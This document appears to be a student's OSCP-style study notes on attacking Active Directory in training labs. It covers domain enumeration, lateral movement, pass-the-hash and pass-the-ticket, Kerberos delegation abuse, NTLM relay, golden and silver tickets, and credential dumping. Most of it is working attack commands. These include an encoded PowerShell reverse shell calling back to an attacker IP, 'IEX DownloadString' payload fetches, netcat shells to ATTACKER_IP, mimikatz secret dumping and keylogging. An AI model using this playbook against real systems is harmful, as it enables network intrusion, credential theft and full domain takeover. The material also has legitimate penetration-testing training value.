cmd.exe - This is the program we want to execute once the credentials are injected. This can be changed to anything, but the safest betis cmd.exe since you can then use that to launch whatever you want, with the
credentials injected.

# ENUMERATING AD via CMD

adding /domain is very imp as you're querying the domain

list all users in the AD domain

net user /domain

We can also use this sub-option to enumerate more detailed information about a single user account:

net user zoe.marshall /domain

OSCP Page 17
to enumerate the groups of the domain by using the group sub-option:

net group /domain

membership to a group by specifying the group in the same command:

net group "Tier 1 Admins" /domain

to enumerate the password policy of the domain by using the accounts sub-option:

net accounts /domain

# ENUMERATING AD via PWS

Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *

-Identity - The account name that we are enumerating


-Properties - Which properties associated with the account will be shown, * will show all properties
-Server - Since we are not domain-joined, we have to use this parameter to point it to our domain controller

Use the-Filter parameter that allows more control over enumeration and use the Format-Table cmdlet to display the results such as the following neatly:

Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A

Get-ADUser -Filter 'Name -like "*stevens"' – find any user where name ends in ...stevens
Get-ADUser -Identity john.doe -Properties * – find the user john.doe and return all properties

Get-ADGroup -Filter * – return all domain groups


Get-ADGroup -Identity Administrators | Get-ADGroupMember – pipe the Administrators group object to Get-ADGroupMember to retrieve members of the group

Get-ADGroup -Identity "Enterprise Admins" -Server za.tryhackme.com -Properties *

Get-ADDomain – get information about the domain from the domain controller

Get-ADDomain | findstr "Delete" -- to find what container is used to store deleted AD objects.

Get-ADObject -Filter 'ObjectClass -eq "group"' -Properties whencreated | Select-Object name, whencreated | sort name | ft -AutoSize -- for finding which group was created when

# ENUMERATING AD via Powerview;)

import-module .\Powerview.ps1

Get-NetDomain

Get-NetUser | select cn {for displaying names as 'cn' holds the names }

Get-NetGroup | select cn {for listing down all the groups, can specify one too by ""}

Get-NetGroup "" | select member {to view the member of the selected group}

Get-NetComputer {to enumerate the computer objects in the domain.}

OSCP Page 18
Get-NetComputer | select operatingsystem,dnshostname

Find-LocalAdminAccess {scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain}

Get-NetSession -ComputerName files04 {for finding list of logged in users }

In order to view the permissions, we'll use the PowerShell Get-Acl4 cmdlet:-

Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

setspn -L iis_service {checks all registered spn's in iis_service }

or

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName {for PS}

Get-NetUser -SPN | select samaccountname,serviceprincipalname {enumerate all the accounts in the domain. }

nslookup.exe web04.corp.com {resolving web04.corp.com with nslookup:}

Find-InterestingDomainAcl {search for and identify ACL's within the domain that might be considered interesting or unusual from a security perspective.}

GenericAll: Full permissions on object


GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

What Can You Do with First-Degree Object Control? {if you see it in bloodhound}

Having first degree object control over a user account in Active Directory essentially means you have permissions to perform various actions on that account. These
actions can include:

• Modifying attributes of the account (such as name, email, group membership).


• Enabling or disabling the account.
• Changing the account's password.

net group "Management Department" stephanie /add /domain {to add ourselves to the specific group}

Get-NetGroup "Management Department" | select member {to check if it worked or not}

Find-DomainShare -CheckShareAccess {to check which shares we can access on the domain;))}

ls " \\ dc1.corp.com\sysvol\corp.com\" {lists the items in the share mentioned;}

ls \\ FILES04\docshare

OSCP Page 19
# ENUMERATING AD via BLOODHOUND & PLUMHOUND + SHARPHOUND

SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs

or

If you are in win and using sysinternals suite:

Import-Module .\Sharphound.ps1

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://192.168.45.217/SharpHound.ps1');Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\public\ -


OutputPrefix "ankit_singh""

CollectionMethods - Determines what kind of data Sharphound would collect. The most common options are Default or All. Also, since Sharphound caches information, once the first run has been completed, you
can only use the Session collection method to retrieve new user sessions to speed up the process.

Domain - Here, we specify the domain we want to enumerate. In some instances, you may want to enumerate a parent or other domain that has trust with your existing domain. You can tell Sharphound which
domain should be enumerated by altering this parameter.

ExcludeDCs -This will instruct Sharphound not to touch domain controllers, which reduces the likelihood that the Sharphound run will raise an alert.

Overview - Provides summaries information such as the number of active sessions the account has and if it can reach high-value targets.
Node Properties - Shows information regarding the AD account, such as the display name and the title.
Extra Properties - Provides more detailed AD information such as the distinguished name and when the account was created.
Group Membership - Shows information regarding the groups that the account is a member of.
Local Admin Rights - Provides information on domain-joined hosts where the account has administrative privileges.
Execution Rights - Provides information on special privileges such as the ability to RDP into a machine.
Outbound Control Rights - Shows information regarding AD objects where this account has permissions to modify their attributes.
Inbound Control Rights - Provides information regarding AD objects that can modify the attributes of this account.

To ingest data directly in bloodhound use this:

Sudo bloodhound -python -d<domain> -u <user> -p <pass> -ns <ip of tgt> -c all then import it in

Install plumhound

And run this cmd:

sudo python3 PlumHound.py --easy -p neo4j1 for just the querying of the domain now for some juicy info run this cmd:

sudo python3 PlumHound.py -x tasks/default.tasks -p neo4j1

Go to reports and open index file in forefox

# LATERALMOVEMENT & PIVOTING


[SPAWNING PROCESSES REMOTELY]

OSCP Page 20
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=lateralmovement LPORT=4444 -o myservice.exe -- instead of attacker ip you can input lateral movement which will automatically resolve ur ip

-p : payload type
-f : file type
-o : to call the stuff

sudo smbclient -c 'put myfanservice.exe' -U t1_leonard.summers -W ZA.TRYHACKME.COM '//10.200.19.201/admin$/' EZpass4ever -- if target name doesn't work use the ip and it will

msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement(or ip); set LPORT 4444;exploit" -- on other instance in meterpreter

runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe (ATTACKER_IP only works) 4443"

And now in other prompt start a listener on the above port

Boom you got the shell but check the user once and you'll be shocked

Why is it again the same user rachael.atkinson??????????

Nothing Wrong here look at the runas cmd we ran one of the flags we have is netonly and if you remember it from the AD network it's a very special flag because what it does is it essentially launches in the normal
user context for you because for instance that t1_leonard.summers might not have the privileges for permissions to actually log into the host that you're currently in so it just passes it and it means that it will now
use those credentials for netowork only connections . So now when u run a cmd it looks like a general field but it will actually execute everything as leonard summers only

Most imp thing to test is that you entered the password correctly coz remember netonly will take any pass because it doesn't verify the account so to check it use this
https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/ [for more reference]
Dir \\za.tryhackme.com\sysvol to check the validity of the creds u entered

sc.exe \\10.200.19.201 create Fannyservice-3249 binPath= "%windir%\fannyservice.exe" start= auto

sc.exe \\10.200.19.201 start Fannyservice-3249 to start the service and you've got the shell in other tab

# LATERALMOVEMENT & PIVOTING


[MOVING LATERALLY USING WMI and WMIC]

First 4 steps same as above

Then on philip session use: powershell -ep bypass

Let's start a WMI session against THMIIS from a Powershell console:

THMJMP2: Powershell

$username = 't1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

After that check the listener on meterpreter tab..

FOR WMIC:

In this example, we'll instruct wmic to launch a calculator, "calc" instance with the process call create keywords. It is important to note, that the machine we are
attacking is a server with the hostname Files04. We are attempting to move laterally from our current machine, to this new server.

OSCP Page 21
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

The WMI job returned the PID of the newly created process and a return value of "0", meaning that the process has been created successfully.

NOTE:-If we were logged in on that machine and monitoring Task Manager we would see the win32calc.exe process appear with jen as the user.

NOW TH SAME IN PWS:

To do that, we will first store the username and password in variables. Then, we will secure the password via the ConvertTo-SecureString cmdlet. Finally, we'll create a
new PSCredential object with the username variable and secureString object.

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

Now that we have our PSCredential object, we need to create a Common Information Model (CIM) via the _New-CimSession cmdlet.

To do that, we'll first specify DCOM as the protocol for the WMI session with the New-CimSessionOption cmdlet on the first line. On the second line, we'll create the new
session, New-Cimsession against our target IP, using -ComputerName and supply the PSCredential object (-Credential $credential) along with the session options (-
SessionOption $Options). Lastly, we'll define 'calc' as the payload to be executed by WMI.

$options = New-CimSessionOption -Protocol DCOM


$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command = 'calc';

As a final step, we need to tie together all the arguments we configured previously by issuing the Invoke-CimMethod cmdlet and supplying Win32_Process to the
ClassName and Create to the MethodName. To send the argument, we wrap them in @{CommandLine =$Command}.

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

To further improve our craft, let's replace the previous payload with a full reverse shell written in PowerShell:

The following Python code encodes the PowerShell reverse shell to base64 contained in the payload variable and then prints the result to standard output.

Reviewing the entire PowerShell payload is outside the scope of this Module.

We need to replace the highlighted IP and port with the ones of our attacker Kali machine and start the listener.

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =


$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,
$sendbyte.Length);$stream.Flush()};$client.Close()'

OSCP Page 22
$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

run it on our kali and you will get a huge cmd:

now run the following in PS line by line:-

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command='the_big_output_you_got';

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

NOW TH SAME IN WINRM{winrs}: {very.imp}

For WinRS to work, the domain user needs to be part of the Administrators or Remote Management Users group on the target host.

The winrs utility can be invoked by specifying the target host through the -r: argument and the username with -u: and password with -p. As a final argument, we want to
specify the commands to be executed on the remote host.

winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"

The output confirms that we have indeed executed the commands remotely on FILES04.

To convert this technique into a full lateral movement scenario, we just need to replace the previous commands with the base64 encoded reverse-shell we wrote above.

OSCP Page 23
PowerShell also has WinRM built-in capabilities called PowerShell remoting, which can be invoked via the New-PSSession cmdlet by providing the IP of the target host
along with the credentials in a credential object format similar to what we did previously.

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential

Enter-PSSession 1

# LATERALMOVEMENT & PIVOTING


[MIMIKATZ - pass the hash]

Ssh and go to tools and run mimikatz

privilege::debug

Token::elevate

if we only had access to a ticket but not its corresponding session key, we wouldn't be able to use that ticket; therefore, both are necessary.

lsadump::sam

If this don't do any work use the below cmd:

sekurlsa::msv

And you'll now find the ntlm has to use

We can then use the extracted hashes to perform a PtH attack by using mimikatz to inject an access token for the victim user on a reverse shell (or any other command you like) as follows:

token::revert

sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555" start listener on other tab

token::revert to reestablish our original token privileges, as trying to pass-the-hash with an elevated token won't work.

winrs.exe -r:THMIIS.za.tryhackme.com cmd == winrs to connect to a command prompt on THMIIS. Since t1_toby.beck's credentials are already injected in your session as a result of any of the attacks, you can use
winrs without specifying any credentials, and it will use the ones available to your current session.

.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt {FOR WINDOWS - one-liner can be used instead of mimikatz;)}

ALTERNATIVES admin to system

Use the hash with pth-winexe to spawn a command prompt:


# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

Use the hash with pth-winexe to spawn a SYSTEM level command prompt:
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

or

evil-winrm -v:<ip> -u <uname> -H <ntlm hash>

impacket-psexec -hashes <fully> Administrator@<ip> {for linux}

.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd {for windows}

smbclient \\\\<ip>\\secrets -U Administrator --pw-nt-hash <hashes>

impacket-wmiexec -hashes <fully> Administrator@<ip>

OSCP Page 24
getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7

ALTERNATIVE:--->

.\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"

.\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02" {after this it will open anew cmd.exe with the shell.}

# MIMIKATZ - pass the key

sekurlsa::ekeys

You'll get toby's key aes or rec34 or anything save it and set it on the below cmd
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools
\nc64.exe -e cmd.exe ATTACKER_IP 5556"

Boom now run the winrs cmd again with this alternate method and get the prompt.

# Request the TGT with hash

python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>

# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)

python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>

# Request the TGT with password

python getTGT.py <domain_name>/<user_name>:[password]

# If not provided, password is asked

# Set the TGT for impacket use

export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

# MIMIKATZ - pass the ticket


for mimikatz:

privilege::debug

sekurlsa::tickets /export

for psexec.py:

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK

OSCP Page 25
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

ALTERNATIVE:

check access is denied or not by using this cmd:

ls \\web04\backup

once you get the denied error follow first 2 steps above to export the ticket and then follow along below:

dir *.kirbi {for verifying the newly extracted tickets}

select any one from the user with :->> @cifs-web04.kirbi format by the below cmd:

mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi {just an example}

PS C:\Tools> klist {for checking if the ticket we selected has been imported in the session or not;}

finally run again the same cmd we used to verify for the access:->>

ls \\web04\backup

BOOM!! you're in

# RDP HI-JACKING

When an administrator uses Remote Desktop to connect to a machine and closes the RDP client instead of logging off, his session will remain open on the server indefinitely

xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_charlie.holland /p:Five2016

PsExec64.exe -s cmd.exe

Query user

To connect to a session, we will use tscon.exe and specify the session ID we will be taking over, as well as our current SESSIONNAME

tscon 3 /dest:rdp-tcp#6

# PORT FORWARDING with SOCAT

Since we'll be making a connection back to our attacker's machine, we'll want to create a user in it without access to any console for tunnelling and set a password to use for creating the tunnels:

sudo useradd -s /bin/true tunneluser123 -p tunnel456

Check in etc/passwd for clarification

TCP4-LISTEN:3499,fork TCP4:THMIIS.za.tryhackme.com:3389

Note that we can't use port 3389 for our listener since it is already being used in THMJMP2 for its own RDP service. In a typical setup, you'd have to add a firewall rule to allow traffic through the listener port but not
for this as it's disabled. See below for ref.

OSCP Page 26
xfreerdp /v:THMJMP2.za.tryhackme.com:5678/u:t1_thomas.moore /p:MyPazzw3rd2020 use it after the listener has setup

Once all port forwards are in place, we can start Metasploit and configure the exploit so that the required ports match the ones we have forwarded through THMJMP2:

AttackBox
user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp

msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com


msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7878
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666

msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1


msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

-ReverseListenerBindAddress, which can be used to specify the listener's bind address on the attacker's machine separately from the address where the payload will connect back.
-SRVHOST to indicate the listening address, which in this case is 127.0.0.1, so that the attacker machine binds the webserverto localhost.

#SSH REMOTE PORT FORWARDING

Add user if not

ssh tunneluser@<attacker ip> -R 3389:<target ip>:3389 -N

-Not necessary to match port but you can for sure

xfreerdp /v:<targetname with domain or just ip> /u:<found creds> /p:<found creds>

Then the same steps as above

# EXPLOITING AD
[EXPLOITING PERMISSION DELEGATION]

Start bloodhound and neo4j console

Import the data provided in the zip

Select the user we logged in from and see that we can rdp to the domain.admin users but it will only give us low privileges.

first step will be to compromise Tier 2 infrastructure. We need to compromise the Tier 2 Admins group since this group has administrative privileges on all workstations. Let's ask Bloodhound if there is perhaps a
road that we can follow to compromise this group. Add your user account as the start position and the Tier 2 Admins group as the end position.

OSCP Page 27
Create a user in ps :

or maybe add user in administrators group by -> net localgroup administrators <username> /add

Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

After this check it by netuser account.name /domain

Get-ADGroupMember -Identity "IT Support"

ForceChangePassword for an user

Now that we are a member of the IT Support group, we have inherited the ForceChangePassword Permission Delegation over the Tier 2 Admins group. First, we need to identify the members of this group to select a
target. We can use the Get-ADGroupMember cmdlet again to assist with this:

Get-ADGroupMember -Identity "Tier 2 Admins"

gpupdate /force do this after setting the password ACE or policy

Login and again logout and then set the following:

ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force

Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Password

Boom login with new creds and surf.

#EXPLOITING KERBEROS DELEGATION

Import-Module C:\Tools\PowerView.ps1

Get-NetUser -TrustedToAuth

Based on this we can see that scvIIS can delegate http and wsman services on THMSERVER1 also you can get the idea using bloodhound too by searching for all kerberostable accounts

The ideal option would be to impersonate a Tier 1 Admin since this would provide us with administrative access over THMSERVER1.

If you were to perform proper post-exploitation enumeration of THMWRK1, you would find that there is a service on the host running as the svcIIS user. Since we have administrative access now, we can use this to
dump LSASecrets, part of the Windows Registry Hive where credentials are stored for features such as Windows services. Let's use Mimikatz to dump the secrets:

OSCP Page 28
Do exit after token elevate usage or if you don't wanna then type token::revert in ur mimikatz window then open kekeo

We first need to generate a TGT that can be used to generate tickets for the HTTP and WSMAN services:

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:<passugot>

Now that we have the TGT for the account that can perform delegation, we can forge TGS requests for the account we want to impersonate. We need to perform this for both HTTP and WSMAN to allow us to create
a PSSession on THMSERVER1:

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

Run one again placing wsman instead of http

Now the big issue happened for me was mimikatz was not taking this generated ticket and the username was changed automatically so the biggest solution is simply copy the TGS for http and wsman into the
mimikatz folder by copy command and then only open the mimikatz and boom it will work . Don't waste time on internet .

Now in mimikatz run this

Privilege::debug

After this exit and run klist to check.

Now that the tickets are imported, we can finally create our PSSession on THMSERVER1:

PowerShell

New-PSSession -ComputerName thmserver1.za.tryhackme.loc

Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

Boom you're in.

#EXPLOITING AUTOMATED RELAYS

We first need to identify cases where a machine account has administrative access over another machine. We can use Bloodhoundfor this, but it means we will have to write some custom cypher queries. Click the
"Create Custom Query" in the Analysis tab in Bloodhound:

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

This query will attempt to find instances where a computer has the "AdminTo" relationship over another computer.

Check this 2 things before exploiting:

The target host must be running the Print Spooler service.


The hosts must not have SMB signing enforced.

OSCP Page 29
The hosts must not have SMB signing enforced.

GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc [this will determine if print spooler service is running or not on both the servers as we don't have access to server 2]

If u get error then use:

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc

If u get error in both take a leap of faith and assume 1st condition is met.

It should be noted that there is a difference between SMB signing being allowed and SMB signing being enforced. Since some legacy systems do not support SMB signing, by default, the configuration of SMB is that
signing is allowed but not enforced, meaning that it will only be used if supported. Since we will be hosting a malicious SMBserver, we can ensure our server does not support signing, forcing the target not to sign the
SMB authentication attempt.

To verify that THMSERVER1 and THMSERVER2 do not have SMB signing enforced, we can use Nmap on our AttackBox:

nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc = add -Pn if doesn't scan at last

Smb and http should be off as well check it by sudo mousepad /etc/responder/Responder.conf

After this we can see it's enabled and not enforced so all conditions are met

Setup ntlm relay by :

Python3 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug == alternative is to open the other local ad and point it to our attacker via network ip of aatcker then see responder

SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug

Now what you got the hashes . Pass the hash using evil-winrm and get the shell

evil-winrm -i <tgtip> -u <username> -H <hashes> or pseexec.py user@ip -hashes <fullhash> or smbexec or wmiexec.py try those too

pth-winexe -U 'admin%hash' //10.10.126.139 cmd.exe

Boom you're in

#EXPLOITING AD USERS

Generate a simple reverse shell payload and save it

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1

Create a listner and start it

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"

Now there are 2 methods to do this will show both:

#M1
After evilwnrm

Surf to where .kdbx file is and open ps there

$wc = New-Object Net.WebClient

$wc. DownloadFile('http://10.50.117.209/shell23.ps1', "$PWD\shell23.ps1")

Run the shell and check listener

In meterpreter session use this

Keyscan_start

Keyscan_dump

Hashdump

Keyscan_stop

Getsystem to play

Download keepass if not by this:

sudo apt install -y kpcli


Kpcli

OSCP Page 30
#M2
After evilwinrm

Certutil -urlcache -f http://[listnerip:port]/shell.ps1 for copying but it may or may not works

If worked then on listner use this

ps | grep "explorer"

If not found then :

net user trevor.local <chosen password>

C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1

Shutdown -r

And re-login and search again

Migrate to the pid of that user

Check meterpreter and then same as the 1st method.

#EXPLOITING GPO's

We found one cool name from kpcli so focus on that

This has ownership of a gpo which can be exploited easily and it's applied to target machine so we need to add our local userin that so in order to do that

Ssh normal user and runas the acc we got from kplci along with the creds

runas /user:domain\username /netonly cmd.exe

Check validity of creds by : dir \\(domain)\sysvol

Mmc

File -> Add/Remove Snap-in->Select the Group Policy Management and add it->go to our domain->servers->mgmtservs->restrictedaccs->add IT supportgrp->Admnstrs and rmtdeskusers on 2nd

Gpupdate /force and rdp to main tgt

#EXPLOITING CERTS
In order to find vulnerable templates, we will use Window's built-in tool certutil. Using our RDP access on THMSERVER2, we can run the following Powershell script to enumerate certificates:

C:\>certutil -Template -v > templates.txt

Use remmina to rdp into thmsrv2

To copy the cert in our box use:

scp frances.armstrong@THMSERVER2.za.tryhackme.loc:/Users/frances.armstrong/Desktop/hellocerts.pfx . To copy pr get from an local server to our box

OSCP Page 31
scp frances.armstrong@THMSERVER2.za.tryhackme.loc:/Users/frances.armstrong/Desktop/hellocerts.pfx . To copy pr get from an local server to our box

In cmd go to rubues tool and use this:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:hellocerts.pfx /password:HelloWorld /outfile:world.pfx /domain:za.tryhackme.loc /dc:10.200.120.101

We got tgt now mimikatz time

But open it like this >mimitrnk\x64\exe

Privilege::debug
Kerberos::ptt outputfile.pfx

dir \\THMDC.za.tryhackme.loc\c$\

type \\THMDC.za.tryhackme.loc\c$\Users\Administrator\Desktop\flag5.txt

#EXPLOITING DOMAIN TRUSTS[GOLDEN TICKET] aka DC-SYNC attack

We will again use Mimikatz with a DC Sync to recover the KRBTGT password hash on THMSERVER2:

token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
lsadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials.

privilege::debug

or

"privilege::debug" "sekurlsa::msv"

lsadump::dcsync /user:za\krbtgt or lsadump:lsa /inject /name:krbtgt(pulls specific user instead of all) {for windows }

secretsdump.py '<Domain>/<Username>:<Password>@<DC_IP>' -just-dc-user <TargetUsername> {for linux with impacket.}

(Get-Acl "AD:$(Get-ADDomain)").Access | Where-Object { $_.IdentityReference -eq '[User or Group Name]' } | Format-List {for PWS}

As we have the hash we can forge golden ticket

Before we can go into exploitation, we first need to recover two SIDs:

The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT
To recover these SIDs, we can use the AD-RSAT Powershell cmdlets. We can recover the SID of the child domain controller using the following command:

Get-ADComputer -Identity "THMDC"

Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

Save hashes and sid's

Open mimi and privdebug

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of
Enterprise Admins group> /ptt

Or can use this too

Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:500 - This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash
into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.

After this maybe try misc::cmd


First, we will verify that this ticket works for access to THMDC since it is a valid ticket for the Administrator user of thechild domain:
Command Prompt

C:\>dir \\thmdc.za.tryhackme.loc\c$

This at least confirms that the Golden Ticket was forged for access to the child DC. However, since we specified extra SIDs, we should also now have access to the parent DC:

OSCP Page 32
C:\>dir \\thmrootdc.tryhackme.loc\c$\

Play with root users boom you've fully compromised.

#SILVER TICKET ATTACKS: {should be admin}

The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of a user account is owned. Thus, it is possible to gain access to that service by forging a custom TGS with the
maximum privileges inside it.

In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator
privileges through the SMB service.

FOR LINUX:

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus

root@kali: export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache

root@kali: python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass {BOOM!! you're in }

FOR WINDOWS:

.\mimikatz.exe

sekurlsa::logonpasswords

kerberos::tgt /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

mimikatz # exit

Bye!

C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi

.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd {BOOM!! you're in }

#DC-SHADOW ATTACK

vshadow.exe -nw -p C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak

reg.exe save hklm\system c:\system.bak

copy it to your kali machine:

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

#CRDENTIAL HARVESTING
[CREDS ACCESS]

OSCP Page 33
For example, the following command is to look for the "password" keyword in the Window registry.

Searching for the "password" keyword in the Registry or flag maybe lol

c:\Users\user> reg query HKLM /f password /t REG_SZ /s


#OR
C:\Users\user> reg query HKCU /f password /t REG_SZ /s

HKEY_LOCAL_MACHINE hive for data containing the string “password” of type REG_SZ. The command can be used to search the HKEY_CURRENT_USER hive by substituting HKCU for HKLM and can be used to search
for different keywords as well.

In PS you can use this cmd rather than surfing through AD manually for finding description misconfigs and other stuffs

Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description

#LOCAL WINDOWS CREDS

